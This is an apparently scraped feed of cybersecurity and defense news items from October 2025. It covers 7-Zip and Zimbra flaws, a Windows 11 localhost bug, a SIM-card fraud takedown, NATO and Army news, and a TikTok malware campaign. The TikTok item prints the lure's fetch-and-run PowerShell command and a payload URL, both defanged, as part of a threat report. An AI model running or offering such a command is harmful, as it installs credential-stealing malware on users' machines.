• Microsoft’s October 2025 Windows 11 update has introduced an unexpected connectivity issue affecting developers and IT professionals worldwide. The security patch KB5066835, released on October 14, 2025, for OS Builds 26200.6899 and 26100.6899, has disrupted localhost connections, preventing applications from accessing services running on the loopback address 127.0.0.1. The update, which primarily addressed security vulnerabilities […]

    The post Microsoft Windows 11 October Update Disrupts Localhost (127.0.0.1) Connectivity appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A proof-of-concept exploit for two critical vulnerabilities in the popular file archiver 7-Zip, potentially allowing attackers to execute arbitrary code remotely through malicious ZIP files.

    The flaws, tracked as CVE-2025-11001 and CVE-2025-11002, were disclosed by the Zero Day Initiative (ZDI) on October 7, 2025, and stem from improper handling of symbolic links during ZIP extraction on Windows systems.

    Both carry a CVSS v3.0 score of 7.0, highlighting their potential for serious impact despite initial perceptions of lower risk.

    These issues affect 7-Zip versions from 21.02 up to 24.09, where flaws in the symlink conversion process enable path traversal attacks. Discovered by Ryota Shiga of GMO Flatt Security Inc., the vulnerabilities exploit how 7-Zip processes Linux-style symlinks, converting them to Windows equivalents without adequate safeguards.

    In a detailed analysis shared by security expert pacbypass, the bugs arise in the ArchiveExtractCallback.cpp module, particularly in functions like IsSafePath and CLinkLevelsInfo::Parse.

    The core problem lies in 7-Zip’s extraction logic, which fails to properly validate symlink targets. When extracting a ZIP containing a Linux symlink pointing to a Windows absolute path like C:\Users, the software misclassifies it as relative due to a flawed absolute path check tailored for Linux or WSL environments.

    This bypasses safety checks in IsSafePath, allowing the symlink to resolve outside the extraction directory.

    Further, during symlink creation in SetFromLinkPath, 7-Zip prepends the extraction folder path to the target, crafting a seemingly safe relative path that evades validation.

    A subsequent check in CloseReparseAndFile skips directory-specific scrutiny for non-directories, enabling the symlink to point arbitrarily. Patches in version 25.00 introduce a new IsSafePath overload with an isWSL flag and refined parsing to detect absolute paths correctly, closing these gaps.

    The analysis draws from diffs between versions 24.09 and 25.00 on GitHub, revealing a rework of symlink support. While one CVE likely targets direct path traversal, the other involves UNC path symlinks, amplifying risks in networked scenarios.

    Exploiting these flaws requires crafting a ZIP where a symlink extracts first, redirecting subsequent files to sensitive locations like the Desktop or system directories.

    For instance, a malicious archive could create a symlink named “link” pointing to C:\Users$$Username]\Desktop, followed by a payload like calc.exe. Upon extraction, 7-Zip follows the link, writing the executable to the target, potentially leading to code execution if the user runs it.

    The PoC, available on pacbypass’s GitHub repository, demonstrates this by unpacking a directory structure that dereferences the symlink, enabling arbitrary file writes.

    However, exploitation demands elevated privileges, developer mode, or an elevated service context, limiting it to targeted attacks rather than broad phishing. It works solely on Windows, ignoring Linux or macOS.

    Mitigations

    Users should update to 7-Zip 25.00 immediately, as it addresses these issues comprehensively. Disabling symlink support during extraction or scanning archives with antivirus tools can reduce exposure. These vulnerabilities underscore ongoing risks in archive handlers, echoing past 7-Zip flaws like directory traversals.

    With the PoC public, attackers may weaponize these for initial access in phishing campaigns. Organizations relying on 7-Zip for bulk extractions should audit workflows and monitor for anomalous file writes.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post PoC Exploit Released for 7-Zip Vulnerabilities that Let Attackers Execute Arbitrary Code Remotely appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    1. The threat actors behind a malware family known as Winos 4.0 (aka ValleyRAT) have expanded their targeting footprint from China and Taiwan to target Japan and Malaysia with another remote access trojan (RAT) tracked as HoldingHands RAT (aka Gh0stBins). “The campaign relied on phishing emails with PDFs that contained embedded malicious links,” Pei Han Liao, researcher with Fortinet’s FortiGuard

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    2. An international law enforcement operation has dismantled a large-scale cybercrime-as-a-service network responsible for fueling thousands of online fraud cases across Europe.

      The operation, known as SIMCARTEL, took place on 10 October 2025 in Latvia and resulted in five arrests, the seizure of key infrastructure, and the disruption of a sophisticated online criminal marketplace.

      During coordinated raids, authorities executed 26 searches across multiple sites, arresting five Latvian nationals suspected of operating the illegal platform.

      Investigators seized five servers, 1,200 SIM-box devices, and more than 40,000 active SIM cards used to power the fraudulent service. Two linked websites gogetsms[.]com and apisim[.]com were taken over by law enforcement and replaced with “splash pages” announcing their seizure.

      The seized operation had enabled more than 49 million fake online accounts and was tied to over 3,200 known cyber fraud cases across Austria and Latvia alone.

      Financial losses from these crimes exceeded EUR 4.5 million in Austria and an additional EUR 420,000 in Latvia. Authorities also froze EUR 431,000 in bank assets, USD 333,000 in cryptocurrency, and confiscated four luxury vehicles belonging to suspects.

      Cybercrime-as-a-Service Platform Dismantled

      The dismantled service sold access to phone numbers registered in more than 80 countries, allowing clients to mask their identities while committing crimes ranging from phishing and smishing to large-scale fraud, extortion, and child exploitation.

      The platform allowed criminals to create fake social media, banking, and e-commerce accounts that appeared legitimate but were used to defraud unsuspecting victims.

      The network’s offerings supported several widespread scams, including fraudulent second-hand marketplace listings, “daughter–son” WhatsApp scams, investment fraud schemes, fake bank websites, and impersonations of police officers targeting Russian-speaking victims. Each of these crimes relied on the anonymity provided by the rented SIM-based numbers.

      The operation was coordinated by Europol and Eurojust, working in close collaboration with law enforcement agencies from Austria, Latvia, Estonia, and Finland.

      Technical support from the Shadowserver Foundation helped dismantle the network’s infrastructure and secure digital evidence. Europol analysts conducted OSINT mapping of the platform’s online footprint and facilitated international data exchange to track financial and digital assets.

      The joint action marks a major success in Europe’s fight against crime-as-a-service networks, striking at the infrastructure that enabled cybercriminals to hide behind false identities and target victims worldwide.

      Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post Authorities Dismantle Cybercrime-as-a-Service Platform, Seize 40,000 Active SIM Cards appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    3. A newly disclosed Server-Side Request Forgery (SSRF) flaw in Zimbra Collaboration Suite has raised major security concerns, prompting administrators to patch systems immediately.

      The issue, identified in the chat proxy configuration component, could allow attackers to gain unauthorized access to internal resources and sensitive user data.

      According to Zimbra’s latest advisory, this critical SSRF vulnerability affects Zimbra versions 10.1.5 through 10.1.11. Malicious actors could exploit the issue by manipulating URL requests to make the server perform unintended actions, such as accessing restricted endpoints or internal systems.

      Although the deployment risk is categorized as low, the security severity is classified as high due to the potential data exposure and privilege abuse.

      The vulnerability stems from improper validation in the chat proxy configuration module, which could enable crafted requests to route through Zimbra’s internal network.

      This vector might allow attackers to retrieve configuration files, tokens, or other sensitive data stored in connected services, posing a significant privacy risk for enterprise users who rely on Zimbra for email and collaboration.

      Mitigations

      Zimbra has released version 10.1.12, which patches the SSRF flaw and introduces several performance stability updates. Administrators are strongly advised to review the Zimbra 10.1.12 Release Notes and deploy the newest update as soon as possible to prevent exploitation.

      Security teams should also verify system integrity following patch installation and monitor access logs for any suspicious or unauthorized internal requests that might indicate prior compromise.

      Applying the latest update not only mitigates this SSRF threat but also enhances Zimbra’s overall resilience and performance.

      Regular patch maintenance, combined with proper configuration hardening, remains the best defense against evolving threat vectors targeting enterprise collaboration platforms.

      Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post Critical Zimbra SSRF Vulnerability Let Attackers Access Sensitive Data appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    4. Russian incursions into NATO allies’ airspace are causing rare public disagreements between treaty allies. Is this the disarray that Moscow wants, or a sign of healthy debate? Officials we spoke to suggested that the answer is both.

      On the eve of a Wednesday meeting of alliance defense ministers in Brussels, Secretary-General Mark Rutte argued to his colleagues that shooting down Russian crewed aircraft over NATO territory would show weakness, not strength. Across the Atlantic a day later, Danish Army chief Maj. Gen. Peter Harling Boysen had a more aggressive message for allies: “Shoot down Russian drones, period.” To be sure, alliance policy may differ for manned and unmanned incursions—but members are still arguing about the policy. 

      The disagreement is even sharper behind closed doors, according to two officials from alliance-member governments. They pointed to a recent Article Four consultation in Tallinn and a NATO ministers’ meeting in Riga, where some nations said incursions should receive stronger responses and others wanted to build up defenses before taking steps that could lead to war.

      Last month, Russia sent some two dozen unarmed drones into Polish airspace; Poland shot down up to four of them. Days later, when Russian fighter jets flew across the Estonian border, Tallinn elected to do no more than escort them back out—drawing criticism from some allies.

      Czech President Petr Pavel, for example, said members must show more willingness to shoot down not just drones, but also planes. Asked about Pavel’s comments a bit later, Estonian Defense Minister Hanno Pevkur visibly bristled.

      No standard NATO policy covers such incursions, which are being handled case by case by nations in different circumstances, said one senior official from an ally.

      “Some nations may be more proactive in their willingness to shoot at Russian assets,” that  official said.

      One senior NATO military official told Defense One in Riga that questions about various countries’ rules of engagement were “mostly being smoothed out.”

      Another area of disagreement is the pace and scope of counter-drone defenses. The entire European Union has signaled their support for the “drone wall” concept much-discussed in recent weeks. But there is some divergence of opinion on whether EU members should prioritize money for new drone defenses over conventional capabilities like tanks. German leaders have concerns that an attempt to build an impenetrable sense-and-shoot network might be an expensive failure.

      However, some military officials and the senior NATO government official said recent developments are shifting German thinking.

      The recent incursions likely reflect a Russian campaign to sow discontinuity among allies, Boysen and others said Wednesday.

      They're just gonna drive a break in between us. I think that's one thing they're trying to do,” the Dutch general said Wednesday at the Association of the U.S. Army’s annual conference in Washington, D.C.. “ I think they're trying to put headlines on our inability to act and their ability to act very, very quickly on the presidential order.”

      Norway’s Lt. Gen. Pasi Välimäki agreed. 

      “What Russia is trying to do is to undermine the aligned cohesion, and also to undermine the support to Ukraine,” Välimäki said at AUSA.

      Maj. Gen. Lars Lervik of Finland went a step further, describing Russia’s escalating incursions as war below the threshold of armed conflict. 

      “Basically, [Russia] is boiling the frog, moving the position incrementally over time,” Lervik said at AUSA. 

      Disagreements also exist on just how quickly to send military aid to Ukraine. Eastern European nations such as Estonia, Lithuania, Latvia, and Poland, which have long been more aggressive on NATO funding and deployment, are seizing the momentum from more risk-averse countries, such as Germany, European government and military officials say.

      European pledges of aid to Ukraine had fallen earlier this year. Pledges made at Wednesday’s summit reverse that trend:

      *Germany: €2 billion for Patriot interceptors, radar systems, ammunition, and precision-guided artillery rockets, as well as $500 million in financial aid.*Denmark: $171 million for training and repairs.*Lithuania:  $30 million to buy U.S. weapons for Ukraine.*Estonia: $12 million and drones “worth millions.”

      That presented something of a win for the White House, or at least those White House players who have favored continued support for Ukraine. On Wednesday, Defense Secretary Pete Hegseth said in Brussels, “Our expectation today is that more countries donate even more, that they purchase even more, to provide for Ukraine, to bring that conflict to a peaceful conclusion.”

      The United States is presenting its own challenge to NATO unity. The Pentagon’s upcoming national defense strategy will reportedly turn the focus of the U.S. military toward the Western Hemisphere. The senior European government official said many U.S. officials and power brokers around President Trump “refuse to see this strong link between the security of Europe, that attacks on democratically aligned nations could affect other countries where the United States has interests.” 

      So European members are girding for a potential withdrawal of more U.S. troops from the continent—even though Trump recently promised Poland, specifically, he’d shield it from any cuts. 

      The sheer unpredictability of U.S. support is deepening European urgency to cohere on policy. At AUSA, Boysen was asked about Trump’s threats to seize Greenland. The Danish general called them a “wake-up call” that had helped to spur defense spending. 

      European officials are cautiously optimistic that Trump is learning to see Russia as a threat,  the senior European government official said.

      “We'll see in a couple of weeks, I guess.”

      ]]>

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    5. A second field test of the Army’s next-generation command and control prototype starts Monday, just three months after the Army awarded Anduril the contract to build it.

      The 4th Infantry Division will kick off Ivy Sting 2 at Fort Carson, Colo., where soldiers will test how the system handles deconflicting airspace before firing weapons and other scenarios.

      “How can we have the commanders doing their updates, doing their planning, but more importantly, how can we then enact that plan and shorten the time it takes to conduct fires?” Zach Kramer, head of Anduril’s mission command office, told Defense One.

      The Army is also trying to shorten the time it takes to develop this system, and the ones that come after it.

      “So we're not waiting to create some sort of perfect system and roll it out,” Kramer said. “We are rolling it out and focusing on an iterative, modern approach to software development.”

      Though Anduril got its official contract award in July, alongside Palantir, the company has been part of NGC2 development for a while. The company’s network software, Lattice Mesh, was part of the experimentation at Project Convergence – Capstone 5 earlier this year. 

      The first Ivy Sting, in late September, tested basic functionality and the ability to do commander’s updates and planning. 

      “And so this means that we're in early phases, but one of the big things is using commercial technologies from across the partners,” Kramer said. “So there's proven tech that sits underneath it, but now we're actually integrating it, standing it up, configuring it, working through all the things of how you think about data governance.”

      Currently, that includes Govini for logistics awareness and Strive Works for AI integration, but the plan is to create a system that can be updated continuously with new technology as it’s developed by private companies.

      “We want to be able to onboard lots of different partners, make sure there's a choice of different types of technology and that the best solution to the problem can bubble to the surface,” Kramer said. “And that may not be the same solution for an indefinite period of time.”

      Anduril’s current prototype contract covers the next 11 months, after which there will be a new award for the next phase of NGC2 development.

      “And one of the things we've really been working with the Army is, how do we create a repeatable process that fosters the growth and innovation over time?” Kramer said.

      Traditionally, the Army has built systems from the ground up and locked in all the different vendors up front, then started over again from scratch when a system becomes obsolete.

      But NGC2 will look more like the Army’s Transformation-in-Contact program, which prioritizes sending existing tech to the field, getting feedback from soldiers, and then getting updated systems back into the field quickly for more experimentation.

      “And so what we want to do is organize these Ivy Sting events in line with kind of a traditional software sprint that says, ‘I will do a planning. We will spend three weeks developing, we will then put it in the field. We will then take feedback, and we will already be iterating on the next one as we go,’ “ Kramer said. 

      That quick movement can leave room for confusion and miscommunication. Earlier this month, Anduril’s software came under fire with the leak of an internal Army memo castigating the program for deficient security protocols.

      Both the company and the Army pushed back, clarifying that the issues raised in the memo had already been resolved.

      Anduril’s founder, Palmer Luckey, went as far as to say the memo was leaked in bad faith.

      “The real answer is, we turned on all of the features that Lattice already had, which were not part of that initial prototype,” he said. “And the people who are planting that story are totally aware of that.”

      Mike Obadal, the Army’s under secretary, said Tuesday that he hopes the service will handle similar concerns differently going forward. 

      “I'm going to be a little more direct and candid on that—writing a memo is not how we're going to do business. That was an easy conversation to pull the right people in,” he said. “And instead, we went back to our old practices of, document our grievances, or document our issues, that we see. On the business side of the Army, that's what we have to fix.”

      If the Army wants to cut through bureaucracy in acquisitions, he added, those concerns should be brought up in a discussion rather than written in a memo.

      Anduril sees itself as not only helping the Army create its next command and control system, but helping it codify a new way of developing systems.

      “And so we think that is actually going to be perhaps one of the biggest things, even beyond just the actual modernization of the Army,” Kramer said. “If we can create this process that allows that constant innovation, that will be the big thing that I think actually helps the Army stay ahead.”

      ]]>

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    6. Microsoft’s October 2025 cumulative update for Windows 11 has disrupted localhost functionality, preventing developers and users from accessing local web applications and services via 127.0.0.1.

      The issue, tied to update KB5066835 released on October 14, affects builds like 26100.6899 and has sparked widespread complaints on forums, including Microsoft’s support pages, Stack Overflow, and Server Fault.

      This breakage halts critical tasks such as debugging in Visual Studio and testing ASP.NET projects, impacting both individual developers and business environments reliant on local servers.​

      HTTP/2 Protocol Errors

      The problem manifests as HTTP/2 protocol errors, such as ERR_HTTP2_PROTOCOL_ERROR or ERR_CONNECTION_RESET, when attempting to connect to localhost-hosted services.

      Users report that applications using IIS Express or Kestrel servers fail to respond, turning routine local development into a frustrating ordeal. For instance, Autodesk confirmed disruptions to its Vault software, urging customers to roll back the update where possible.

      Community threads highlight how the bug extends beyond hobbyists, affecting production desktop applications that depend on loopback communication for internal processes.

      One developer noted that even simple web previews in Chromium-based browsers now encounter unresponsive connections post-update.​

      Investigations point to modifications in HTTP.sys, the kernel driver handling HTTP traffic, as the culprit behind the localhost severance.

      This component, updated in KB5066835 to address security vulnerabilities, inadvertently breaks loopback HTTP/2 negotiations, especially in configurations with the prior September preview update KB5065789.

      Affected users have found relief by often uninstalling KB5066835 alongside KB5065789 using command line tools like wusa.exe, followed by a restart.

      Alternative workarounds include disabling HTTP/2 through registry edits under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\IIS\Parameters or updating Microsoft Defender Antivirus definitions via KB2267602, which resolves the issue without full rollback in some cases.

      Fresh Windows 11 installations appear immune, suggesting the error stems from interactions with existing setups rather than a core flaw.​

      As of October 17, 2025, Microsoft has not publicly acknowledged the bug on its KB5066835 support page, though forum responses from engineers indicate internal awareness and ongoing fixes.

      Some reports claim a subsequent Defender intelligence update or minor patch has mitigated it for rolled-back systems, but variability persists across hardware and configurations.

      With Windows 10’s support ending soon, this glitch underscores challenges in transitioning users to Windows 11 amid recurring update regressions.

      Developers are advised to pause updates temporarily and monitor release health dashboards for official resolutions, ensuring minimal downtime in their workflows. The incident joins a pattern of post-patch issues, prompting calls for improved quality control at Redmond.​

      Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post Microsoft Windows 11 October Update Breaks Localhost (127.0.0.1) Connections appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    7. SOUTHCOM commander abruptly steps down two years early. Navy Adm. Alvin Holsey is departing his job as the military’s top officer over U.S. Southern Command, which oversees operations in and around Latin and South America, the New York Times reported Thursday. 

      Context: The Trump administration has sent thousands of troops to the region, along with at least eight warships and a submarine—ostensibly to fight fentanyl trafficking off the coast of Venezuela, including military strikes on at least a half-dozen alleged small boats, which have killed more than two dozen people without due process, according to the White House and Defense Department. 

      Why leave early? “It was unclear why Admiral Holsey is suddenly departing, less than a year into what is typically a three-year job, and in the midst of the biggest operation in his 37-year career,” but he had reportedly “raised concerns about the mission and the attacks on the alleged drug boats,” the Times reported Thursday. 

      Read over Holsey’s fairly ordinary public statement announcing his departure, delivered via social media on SOUTHCOM’s account Thursday, here

      Panning out: “Admiral Holsey, who is Black, becomes the latest in a line of more than a dozen military leaders, many of them people of color and women, who have left their jobs this year,” the Times notes. “It was not clear on Thursday who would replace Admiral Holsey, who just this week visited the island countries Antigua and Barbuda, and Grenada.”

      “[T]his unexpected resignation is troubling,” observed Sen. Jack Reed, ranking member of the Armed Services Committee. “At a moment when U.S. forces are building up across the Caribbean and tensions with Venezuela are at a boiling point, the departure of our top military commander in the region sends an alarming signal of instability within the chain of command,” he said in a statement Thursday. 

      “Any operation to intervene militarily in Venezuela—especially without congressional authorization—would be unwise and dangerous. Admiral Holsey’s resignation only deepens my concern that this administration is ignoring the hard-earned lessons of previous U.S. military campaigns and the advice of our most experienced warfighters,” said Reed. 

      New: The U.S. military attacked another alleged drug boat in Latin America, but this time it left survivors, a U.S. official told Reuters on Thursday. 

      “[I]t was not clear that the strike had been designed to leave survivors,” the official said, which Reuters reports “raises new questions, including whether the U.S. military rendered aid to the survivors and whether they are now in U.S. military custody, possibly as prisoners of war.” 

      Developing: The U.S. Army’s “elite 160th Special Operations Aviation Regiment appears to have flown within 90 miles of Venezuela,” the Washington Post reported Thursday as the White House signals a newly-aggressive approach toward Venezuela, including reportedly authorizing CIA operations inside the country.  

      Commentary: How to foster a warrior ethos in the workforce: expand the Defense Civilian Training Corps, a scholarship-for-service program that helps undergraduate students learn the skills that will help them succeed as acquisition professionals. Two fellows of the Acquisition Innovation Research Center make that argument, here.

      Additional reading: 


      Welcome to this Friday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson and Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 2017, the U.S.-led Syrian Democratic Forces captured the last ISIS stronghold in Raqqa, Syria. Just this week, those same SDF troops agreed on a plan to merge their forces with Syria’s newly-formed military—less than a year after dictator Bashar al-Assad fled the country as Islamic fighters with Hayat Tahrir al-Sham marched into the capital Damascus and took over.

      Trump 2.0

      A federal appeals court has again paused Trump’s deployment of National Guard forces to Chicago, maintaining a hold put in place by District Judge April Perry over the White House’s objections on October 9. 

      Rewind: “The Trump administration has argued that the bolstered military presence is needed to protect federal property and employees,” ABC7 Chicago reports. “But the judge said the government's claims about an out-of-control public on the brink of rebellion were not credible.”

      “The facts do not justify the President’s actions in Illinois,” the panel of judges wrote in their Thursday decision (PDF). “Even applying great deference to the administration's view of the facts, under the facts as found by the district court, there is insufficient evidence that protest activity in Illinois has significantly impeded the ability of federal officers to execute federal immigration laws.”

      “Political opposition is not rebellion,” the panel declared. Next up, a hearing is scheduled for Wednesday to consider an extension to the temporary restraining order currently in place. Reuters has a tiny bit more.

      Illinois Gov. JB Pritzker held a meeting of retired generals, rear admirals, and veterans Thursday to discuss the Trump administration’s aggressive tactics in Chicago. 

      Regarding ICE agents wearing combat fatigues and boots, “I think the modern term is cosplaying,” said William Enyart, a retired major general with the Illinois National Guard. “They're not soldiers. And it is, it is a smirch on the National Guard's reputation for them to be wearing the same uniform as we are,” he said. 

      “When we blur that line, we risk turning our own streets into battlefields and our citizens into potential enemies,” said Randy Manner, a retired U.S. Army two-star.

      “One thing is evident: this effort to deploy troops in American cities is not normal,” Pritzker said afterward. “There is no justification for such a deployment, and it echoes the rise of authoritarian regimes throughout world history.” 

      “Illinois is not a place you can conquer. And our people are not your subjects. Period,” the governor said. ABC7 Chicago has a bit more.

      For your radar: Trump said this week he wants more National Guard forces occupying more U.S. cities, he told reporters Wednesday at the White House. “This is an amazing thing, and we’re just at the start. We’re going to go into other cities that we’re not talking about purposely. We’re getting ready to go in. We’re going to have a surge of strong, good people, patriots, and they get to go in. They straighten it all out,” said Trump. 

      And don’t miss a new on-the-ground dispatch from the windy city:The Conquest of Chicago,” by veteran immigration reporter Nick Miroff, reporting Thursday for The Atlantic. 

      Shutdown update: Even though it is against the law, the White House says it’s going to pay furloughed troops with money Congress appropriated for research, development, testing, and evaluation for the current fiscal year.

      The law that would violate is the Antideficiency Act, which “prohibits the government from spending money that Congress has not appropriated for that purpose, or agreeing to contracts that spend money Congress has not appropriated for that purpose,” historian Heather Cox Richardson explained in her column Thursday. 

      “There is more at stake here than a broken law,” she writes, and says “Trump’s assumption of power over the government’s purse is a profound attack on the principles on which the Founders justified independence from King George III in 1776. The Founders stood firm on the principle articulated all the way back to the Magna Carta in 1215 that the government could not spend money without consulting those putting up that money by paying taxes. That principle was at the heart of the American Revolution.” 

      Report: “Accelerating authoritarianism” in America. More than 340 former U.S. intelligence officers from the CIA, NSA, State Department and elsewhere warned Thursday “the nation [is] on a trajectory toward competitive authoritarianism: a system in which elections, courts, and other democratic institutions persist in form but are systematically manipulated to entrench executive control.”

      Topline read: “U.S. drift towards authoritarianism has accelerated this year, a trend characterized not by an abrupt seizure of power but by an erosion of democratic norms and institutional checks and balances,” the authors write in their 29-page report. “The erosion of public trust, attacks on academic freedom and the free press, and a growing public tolerance for authoritarian tactics contribute to this slide…Recognizing this multifaceted attack and actively resisting the erosion of these foundational principles is crucial to defending and restoring liberal democracy in the US.” Read over the report in full, here

      As Ukraine’s president travels to the White House today to talk about Tomahawk missiles, Trump is already looking forward to his next meeting with Russian leader Vladimir Putin. 

      The president announced Thursday that Hungary has agreed to host the next Trump-Putin meeting following talks next week “led by Secretary of State Marco Rubio, together with various other people, to be designated,” Trump wrote on social media. “President Putin and I will then meet in an agreed upon location, Budapest, Hungary, to see if we can bring this ‘inglorious’ War, between Russia and Ukraine, to an end,” he said. 

      About those Tomahawks: Rumors began circulating that the U.S. could send Ukraine these 1,500-mile range cruise missiles at least a month ago, prompting Russian officials to warn the U.S. over the risks of escalation—as Russian officials have done repeatedly regarding possible U.S. weapons deliveries (like F-16s, Abrams tanks, and ATACMS, e.g.) over the course of Putin’s stalled invasion, which is now in its 44th consecutive month. 

      A week after Russia’s protests over the Tomahawks, Trump told reporters, “I want to find out what they're doing with them,” referring to Ukraine. “Where are they sending them? I guess I'd have to ask that question. I would ask some questions. I'm not looking to escalate that war.”

      Expert reax: “It does seem that Putin's outreach is perhaps designed to thwart the potential transfer of Tomahawks to Ukraine, so Putin is wanting to put that back in the box. It strikes me as sort of a stalling tactic,” Max Bergmann, a Russia expert at the Center for Strategic and International Studies, told Reuters this week. 

      Related reading: 

      Middle East

      Houthis signal wary acceptance of Israel-Hamas ceasefire. In a Thursday speech, leader Abdulmalik al Houthi said the group will watch closely to see whether the ceasefire “actually stops Israel’s assault and allows aid into Gaza” which “is what we hope for.” If it doesn’t hold, they will “continue on our path of support and backing, always ensuring it escalates… and work relentlessly…to develop our military capabilities.” (Text of al Houthi’s speech from Saba, with translation by Google).

      Al Houthi also announced the death of the group’s military chief of staff, which Israeli officials said was caused by their August 28 strikes that killed 12 Houthi officials.

      Some thoughts from Bridget Toomey, FDD research analyst focused on Middle East militant groups:

      • “The killing of Houthi military Chief of Staff Mohammad al-Ghamari indicates Israel’s strikes were more successful in targeting key military leaders than previously assumed during the war. While Israel is unlikely to continue air strikes against the Houthis during the ceasefire in Gaza, successes like killing Ghamari increase Houthi paranoia about Israeli intelligence capabilities in Yemen.”
      • “The Houthis immediately announced Ghamari’s replacement, Yusuf al-Madani, another prominent military leader with close ties to Iran and a U.S. designated terrorist. Madani’s recent experience leading forces in key offensives and frontline areas in Yemen is of significance as the Houthis may use the ceasefire in Gaza as an opportunity to refocus their efforts on territory they have been eyeing at home.”
      • “The late announcement of Ghamari’s death, while typical, raises the question if other Houthi military leaders may have been killed, particularly as some have not been seen in recent months.”
      ]]>

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    8. Cybercriminals are exploiting TikTok’s massive user base to distribute sophisticated malware campaigns that promise free software activation but deliver dangerous payloads instead.

      The attack leverages social engineering tactics reminiscent of the ClickFix technique, where unsuspecting users are tricked into executing malicious PowerShell commands on their systems.

      Victims encounter TikTok videos offering free activation of popular software like Photoshop, with one such video accumulating over 500 likes before detection.

      The attack chain begins when users follow instructions to open PowerShell with administrator privileges and execute a deceptively simple one-liner command.

      The initial infection vector instructs victims to run the command iex (irm slmgr[.]win/photoshop), which fetches and executes malicious PowerShell code from a remote server.

      This first-stage payload (SHA256: 6D897B5661AA438A96AC8695C54B7C4F3A1FBF1B628C8D2011E50864860C6B23) achieved a VirusTotal detection rate of 17/63, demonstrating its evasive capabilities.

      The script downloads a secondary executable called updater.exe from hxxps://file-epq[.]pages[.]dev/updater.exe, which analysis revealed as AuroStealer malware designed to harvest sensitive credentials and system information.

      Fake TikTok video (Source – Internet Storm Center)

      Internet Storm Center researchers identified the campaign and discovered that persistence mechanisms are implemented through scheduled tasks disguised as legitimate system processes.

      The malware randomly selects task names such as “MicrosoftEdgeUpdateTaskMachineCore” to blend in with genuine Windows services, ensuring execution at every user logon.

      A third payload named source.exe (SHA256: db57e4a73d3cb90b53a0b1401cb47c41c1d6704a26983248897edcc13a367011) introduces an advanced evasion technique by compiling C# code on-demand during runtime using the .NET Framework compiler located at C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe.

      Self-Compiling Technique and Memory Injection

      The self-compiling capability represents a sophisticated approach to evade traditional detection mechanisms.

      The malware compiles a C# class during execution that imports kernel32.dll functions including VirtualAlloc, CreateThread, and WaitForSingleObject.

      This dynamically compiled code allocates executable memory space, injects shellcode directly into the process memory, and creates a new thread to execute the malicious payload without writing additional files to disk.

      Researchers discovered multiple variations of this campaign across TikTok targeting users searching for cracked versions of various software applications, highlighting the importance of avoiding untrusted sources for software downloads.

      Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

      The post Hackers Using TikTok Videos to Deploy Self-Compiling Malware That Leverages PowerShell for Execution appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶